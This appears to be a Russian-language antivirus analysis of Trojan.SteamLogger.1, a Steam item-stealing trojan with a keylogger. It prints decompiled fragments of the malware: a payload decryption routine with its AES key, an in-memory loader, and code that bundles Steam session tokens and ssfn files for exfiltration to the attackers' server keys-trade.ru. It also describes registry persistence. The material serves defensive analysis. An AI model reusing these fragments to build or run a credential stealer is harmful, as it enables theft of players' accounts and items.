Вредоносная программа, предназначенная для хищения ценных игровых предметов, инвентаря и артефактов у пользователей игровой платформы Steam, преимущественно у поклонников игр Dota 2, Counter-Strike: Global Offensive и Team Fortress 2, однако может быть легко модифицирована для других игр. Обладает функциями кейлоггера (т. е. способна фиксировать и передавать злоумышленникам нажатия клавиш на инфицированном компьютере).
Троянец состоит из трех функциональных модулей: дроппера, сервисного и основного модулей. В момент запуска на инфицированном компьютере дроппер Trojan.SteamLogger.1 расшифровывает из своих ресурсов основной и сервисный модули. Расшифровка выполняется в два этапа:
- Чтение образа в память с небольшим преобразованием:
public static byte[] D(byte[] text) { byte[] array = new byte[text.Length]; for (int i = 0; i < text.Length; i++) { array[i] = Convert.ToByte((int)text[i] - i - 27); } return array; }
- Расшифровка с использованием алгоритма AES:
private static byte[] code = new byte[] //AES key { 149, 133, 127, 135, 145, 135, 134, 144, 147, 141, 159, 138, 136 }; public byte[] SymmetricDecrypt(byte[] input, byte[] key) { byte[] result; using (RijndaelManaged rijndaelManaged = new RijndaelManaged()) { rijndaelManaged.BlockSize = 128; rijndaelManaged.KeySize = 256; byte[] array = new byte[16]; byte[] rgbIV = new byte[array.Length]; Array.Copy(input, 0, array, 0, array.Length); byte[] array2 = new byte[input.Length - array.Length]; Array.Copy(input, array.Length, array2, 0, array2.Length); rijndaelManaged.Mode = CipherMode.ECB; rijndaelManaged.Padding = PaddingMode.None; using (ICryptoTransform cryptoTransform = rijndaelManaged.CreateDecryptor(key, null)) { rgbIV = cryptoTransform.TransformFinalBlock(array, 0, array.Length); } rijndaelManaged.Mode = CipherMode.CBC; rijndaelManaged.Padding = PaddingMode.PKCS7; using (ICryptoTransform cryptoTransform2 = rijndaelManaged.CreateDecryptor(key, rgbIV)) { using (MemoryStream memoryStream = new MemoryStream(array2)) { using (CryptoStream cryptoStream = new CryptoStream(memoryStream, cryptoTransform2, CryptoStreamMode.Read)) { byte[] array3 = new byte[array2.Length]; int num = cryptoStream.Read(array3, 0, array3.Length); byte[] array4 = new byte[num]; Array.Copy(array3, 0, array4, 0, num); result = array4; } } } } return result; }
После завершения расшифровки дроппер сохраняет сервисный модуль в папку %TEMP% под именем Update.exe и запускает его, основной модуль загружается в память с использованием метода Assembly.Load():
Assembly assembly = Assembly.Load(array);
program.Invoke(assembly, assembly.EntryPoint);
Затем вредоносная программа загружает с сайта hxxp://keys-trade.ru/trade/?image= графический файл и сохраняет его на инфицированном компьютере в папку %TEMP% под именем %process_name%.jpg, после чего сразу же выводит его на экран:
Сервисный модуль выполняет проверку наличия папки %ProgramFiles%"+ " (x86)\Common Files\Steam\ и в случае отсутствия таковой создает ее. Создает в указанной папке собственную копию с именем SteamService.exe и атрибутами «системный» и «скрытый», после чего вносит изменения в ключ системного реестра HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run, отвечающий за автозагрузку приложений, и запускает оттуда сервисный модуль на исполнение.
Загрузившись на инфицированном компьютере, сервисный модуль отправляет запрос по методу POST на принадлежащий злоумышленникам управляющий сервер (hxxp://keys-trade.ru/bot/check="), и, если не получает ответ «ОК», пытается соединиться с командным центром через один из прокси-серверов, список которых хранится в теле троянца.
На командный сервер hxxp://keys-trade.ru/bot/ троянец передает сведения об инфицированном компьютере, такие как версия операционной системы, ее разрядность, а также уникальный идентификатор вредоносной программы, вычисляемый на основе серийного номера жесткого диска, на котором располагается логический раздел С. Также с интервалом в 50 минут троянец посылает на данный сервер POST-запрос, и в случае получения команды download загружает и устанавливает в систему обновленную версию сервисного модуля, заменяя хранящийся в папке %TEMP%\Update.exe исполняемый файл.
Основной модуль троянца при запуске проверяет доступность управляющего сервера, после чего по завершении инициализации ищет в памяти зараженного компьютера процесс с именем Steam и проверяет, вошел ли пользователь в свою учетную запись. Если нет, вредоносная программа ожидает момента авторизации игрока, затем извлекает информацию об аккаунте пользователя Steam (наличие SteamGuard, steam-id, security token) и передает эти данные злоумышленникам. Затем троянец ожидает получения строки, содержащей данные для последующей передачи похищенных игровых предметов, строка имеет вид:
steam-id,partner,token|steam-id,partner,token|...
где steam-id, partner, token - параметры для совершения trade-запроса.
После этого троянец ищет в папке Steam файлы по маске "ssfn*" и формирует из них строку:
ssfn_filename_1|ssfn_file1_data||ssfn_filename_2|ssfn_file2_data||...
извлекает все содержимое файлов, хранящихся в папке config\ приложения Steam и формирует из этих данных такую же строку, которую дописывает ее к уже имеющейся, заменяя в содержимом файлов знаки "-" на "". Затем в конец получившейся строки дописываются данные об аккаунте жертвы, после чего строка шифруется с использованием алгоритма BASE64:
text = text + "steamLogin.txt|" + this.ToStrByte(this._token) + "||";
text = text + "steamLoginSecure.txt|" + this.ToStrByte(this._login_secure) + "||";
string text6 = text;
text = string.Concat(new string[]
{
text6,
"steamMachineAuth",
this._steam_id,
".txt|",
this.ToStrByte(this._machine_auth)
});
byte[] inArray = this.Compress(Encoding.UTF8.GetBytes(text));
text = "steam_id=" + this._steam_id + "&receive=" + Convert.ToBase64String(inArray);
Вредоносная программа получает c управляющего сервера список учетных записей, на которые могут быть переданы игровые предметы с аккаунта жертвы. Всю собранную информацию троянец отправляет на сервер злоумышленников, затем проверяет, включена ли в настройках Steam автоматическая авторизация, и, если она отключена, в отдельном потоке запускает кейлоггер — собранные с его помощью данные пересылаются на управляющий сервер с интервалом в 15 секунд.
Для кражи предметов из инвентаря жертвы выбираются только артефакты, попадающие под следующие фильтры:
private static int[] games = new int[]
{
570,
730,
440
};
string[] source = new string[]
{
"Mythical",
"Legendary",
"Arcana",
"Immortal"
};
string[] source2 = new string[]
{
"DOTA_WearableType_Treasure_Key"
};
string[] source3 = new string[]
{
"Container",
"Supply Crate"
};
Фильтруется инвентарь для игр Dota 2, Counter-Strike: Global Offensive и Team Fortress 2. То есть, вредоносная программа пытается похитить наиболее ценные игровые предметы, ключи от сундуков и сами сундуки. При этом Trojan.SteamLogger.1 внимательно следит за тем, не пытается ли игрок продать что-либо из виртуальных предметов самостоятельно, и в случае обнаружения такой попытки старается воспрепятствовать этому, автоматически снимая артефакты с продажи. Похищенные предметы передаются на один из игровых аккаунтов злоумышленников.
Для реализации ключей от сундуков из игры Dota 2 кибепреступники создали специальный интернет-магазин: